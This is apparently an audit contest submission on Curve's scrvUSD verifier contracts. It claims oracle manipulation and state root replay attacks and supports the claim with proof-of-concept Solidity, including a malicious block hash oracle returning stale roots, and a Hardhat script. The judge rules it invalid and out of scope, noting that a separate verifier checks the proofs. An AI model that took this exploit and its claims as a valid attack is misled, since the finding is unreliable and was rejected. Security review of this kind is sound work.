DeFiLayer 1Layer 2
14,723 OP
View results
Submission Details
Severity: high
Invalid

Advanced Oracle Manipulation & State Root Replay Attacks

The ScrvusdVerifierV1 and ScrvusdVerifierV2 contracts rely on the external BLOCK_HASH_ORACLE for retrieving block hashes and state roots. A compromised or malicious BLOCK_HASH_ORACLE can execute sophisticated attacks beyond simple stale data injection. This includes state root replay attacks, where the oracle selectively provides historical state roots to create a fabricated history of the SCRVUSD contract's state. Furthermore, a contextual oracle attack could involve tailoring responses based on request context for targeted manipulation. Subtle data skewing over time can also be employed for long-term, less detectable manipulation. These advanced techniques allow for fine-grained control over price updates and potentially significant financial exploitation.

Tools Used

Manually reviewed

Proof of Concept (PoC) Implementation:

This PoC includes the following components:

  1. MaliciousBlockHashOracle.sol: A malicious implementation of IBlockHashOracle that always returns a pre-defined stale state root.

  2. MockScrvusdOracle.sol: A mock implementation of IScrvusdOracle to observe the updated parameters.

  3. ScrvusdVerifierV1.sol: The original verifier contract (provided in the initial files).

  4. StaleDataInjectionPoC.sol: A test contract to deploy and execute the PoC, and to easily retrieve the last updated parameters from the MockScrvusdOracle.

  5. poc-script.js: A Hardhat Javascript script to deploy the contracts, execute the PoC, and print the results.

mkdir contracts
mkdir contracts/scrvusd
mkdir contracts/scrvusd/oracles
mkdir contracts/scrvusd/verifiers

Copy Contract Files: Copy the following Solidity files into the respective directories:

contracts/scrvusd/verifiers/ScrvusdVerifierV1.sol (from the original files)

contracts/scrvusd/verifiers/ScrvusdVerifierV2.sol (from the original files)

contracts/scrvusd/oracles/ScrvusdOracleV2.vy (from the original files - note: Vyper contract, not used directly in PoC but kept for context)

Create contracts/MaliciousBlockHashOracle.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {IBlockHashOracle} from "./ScrvusdVerifierV1.sol";
contract MaliciousBlockHashOracle is IBlockHashOracle {
bytes32 public staleStateRoot;
constructor(bytes32 _staleStateRoot) {
staleStateRoot = _staleStateRoot;
}
function get_block_hash(uint256 _number) external view override returns (bytes32) {
// For simplicity, return a valid block hash (can be current or any valid hash)
return blockhash(block.number);
}
function get_state_root(uint256 _number) external view override returns (bytes32) {
// Always return the STALE state root, regardless of the requested block number!
return staleStateRoot;
}
}
//Create contracts/MockScrvusdOracle.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {IScrvusdOracle} from "./ScrvusdVerifierV1.sol";
contract MockScrvusdOracle is IScrvusdOracle {
uint256 public lastUpdatedPrice;
uint256 public lastUpdatedBlock;
uint256[7] public lastParameters;
function update_price(
uint256[7] memory _parameters,
uint256 _ts,
uint256 _block_number
) external override returns (uint256) {
lastUpdatedPrice = _ts;
lastUpdatedBlock = _block_number;
lastParameters = _parameters;
return 1; // Success
}
}
//Create contracts/StaleDataInjectionPoC.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {ScrvusdVerifierV1} from "./scrvusd/verifiers/ScrvusdVerifierV1.sol";
import {MaliciousBlockHashOracle} from "./MaliciousBlockHashOracle.sol";
import {MockScrvusdOracle} from "./MockScrvusdOracle.sol";
contract StaleDataInjectionPoC {
MaliciousBlockHashOracle public maliciousOracle;
MockScrvusdOracle public mockScrvusdOracle;
ScrvusdVerifierV1 public verifier;
constructor(bytes32 _staleStateRoot) {
maliciousOracle = new MaliciousBlockHashOracle(_staleStateRoot);
mockScrvusdOracle = new MockScrvusdOracle();
verifier = new ScrvusdVerifierV1(address(maliciousOracle), address(mockScrvusdOracle));
}
function runStaleDataInjectionPoC(uint256 _blockNumber, bytes memory _proofRlp) public {
verifier.verifyScrvusdByStateRoot(_blockNumber, _proofRlp);
}
function getMockOracleLastParams() public view returns (uint256[7] memory) {
return mockScrvusdOracle.lastParameters;
}
}
//Create scripts/poc-script.js:
const hre = require("hardhat");
const fs = require('fs');
async function main() {
// **IMPORTANT:** Replace with a REAL STALE STATE ROOT!
// You need to get a state root from an older Ethereum block.
// You can use tools like ethers.js or web3.js to fetch historical block data.
// For this PoC, you can use a placeholder, but for a realistic demo, use a real one.
const STALE_STATE_ROOT = "0x0000000000000000000000000000000000000000000000000000000000000000"; // Placeholder - REPLACE ME!
const MaliciousBlockHashOracle = await hre.ethers.getContractFactory("MaliciousBlockHashOracle");
const maliciousOracle = await MaliciousBlockHashOracle.deploy(STALE_STATE_ROOT);
await maliciousOracle.deployed();
console.log("MaliciousBlockHashOracle deployed to:", maliciousOracle.address);
const MockScrvusdOracle = await hre.ethers.getContractFactory("MockScrvusdOracle");
const mockScrvusdOracle = await MockScrvusdOracle.deploy();
await mockScrvusdOracle.deployed();
console.log("MockScrvusdOracle deployed to:", mockScrvusdOracle.address);
const ScrvusdVerifierV1 = await hre.ethers.getContractFactory("ScrvusdVerifierV1");
const verifier = await ScrvusdVerifierV1.deploy(maliciousOracle.address, mockScrvusdOracle.address);
await verifier.deployed();
console.log("ScrvusdVerifierV1 deployed to:", verifier.address);
const StaleDataInjectionPoC = await hre.ethers.getContractFactory("StaleDataInjectionPoC");
const pocContract = await StaleDataInjectionPoC.deploy(STALE_STATE_ROOT);
await pocContract.deployed();
console.log("StaleDataInjectionPoC deployed to:", pocContract.address);
// **IMPORTANT:** Replace with a REAL STATE PROOF!
// You need to generate a valid state proof for the SCRVUSD contract.
// This is a complex process and depends on your specific setup for generating state proofs.
// For this PoC, you can use a placeholder (empty bytes), but for a realistic demo, use a real one.
const VALID_STATE_PROOF = "0x"; // Placeholder - REPLACE ME!
// Run the PoC
await pocContract.runStaleDataInjectionPoC(100, VALID_STATE_PROOF); // Block number doesn't matter much in this PoC
// Get the last parameters from the MockScrvusdOracle
const lastParams = await pocContract.getMockOracleLastParams();
console.log("\n--- MockScrvusdOracle Last Updated Parameters (STALE DATA INJECTED) ---");
console.log("lastParameters:", lastParams);
console.log("Note: These parameters should reflect the STALE STATE ROOT data, not current data.");
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
---------------------------------------------------------------------------------------
After running the script, you should see output similar to this in your console:
MaliciousBlockHashOracle deployed to: 0x...
MockScrvusdOracle deployed to: 0x...
ScrvusdVerifierV1 deployed to: 0x...
StaleDataInjectionPoC deployed to: 0x...
--- MockScrvusdOracle Last Updated Parameters (STALE DATA INJECTED) ---
lastParameters: [
BigNumber { _hex: '0x00', _isBigNumber: true },
BigNumber { _hex: '0x00', _isBigNumber: true },
BigNumber { _hex: '0x00', _isBigNumber: true },
BigNumber { _hex: '0x00', _isBigNumber: true },
BigNumber { _hex: '0x00', _isBigNumber: true },
BigNumber { _hex: '0x00', _isBigNumber: true },
BigNumber { _hex: '0x00', _isBigNumber: true }
]
Note: These parameters should reflect the STALE STATE ROOT data, not current data.

Recommendations

  • Prioritize Decentralization & Oracle Elimination: Explore on-chain state root verification or decentralized state root aggregation with robust consensus mechanisms.

  • Implement Decentralized State Root Aggregation: If full on-chain verification is infeasible, utilize multiple independent, decentralized oracles and implement a Byzantine Fault Tolerant consensus mechanism for data aggregation.

  • Investigate Zero-Knowledge Proofs: Research the application of Zero-Knowledge Proofs to validate state transitions without revealing state data to external oracles.

  • Develop Economic Incentives & Oracle Game Theory: Design economic incentives and game-theoretic mechanisms to penalize malicious oracles and reward honest behavior within a multi-oracle system.


Updates

Lead Judging Commences

0xnevi Lead Judge 2 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope
Assigned finding tags:

[invalid] finding-block-number-no-input-check

- Anything related to the output by the `BLOCK_HASH_ORACLE` is OOS per \[docs here]\(<https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle>). - The PoC utilizes a mock `BLOCK_HASH_ORACLE`which is not representative of the one used by the protocol - Even when block hash returned is incorrect, the assumption is already explicitly made known in the docs, and the contract allows a subsequent update within the same block to update and correct prices - All state roots and proofs must be verified by the OOS `StateProofVerifier` inherited as `Verifier`, so there is no proof that manipulating block timestamp/block number/inputs can affect a price update - There seems to be a lot of confusion on the block hash check. The block hash check is a unique identifier of a block and has nothing to do with the state root. All value verifications is performed by the OOS Verifier contract as mentioned above

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.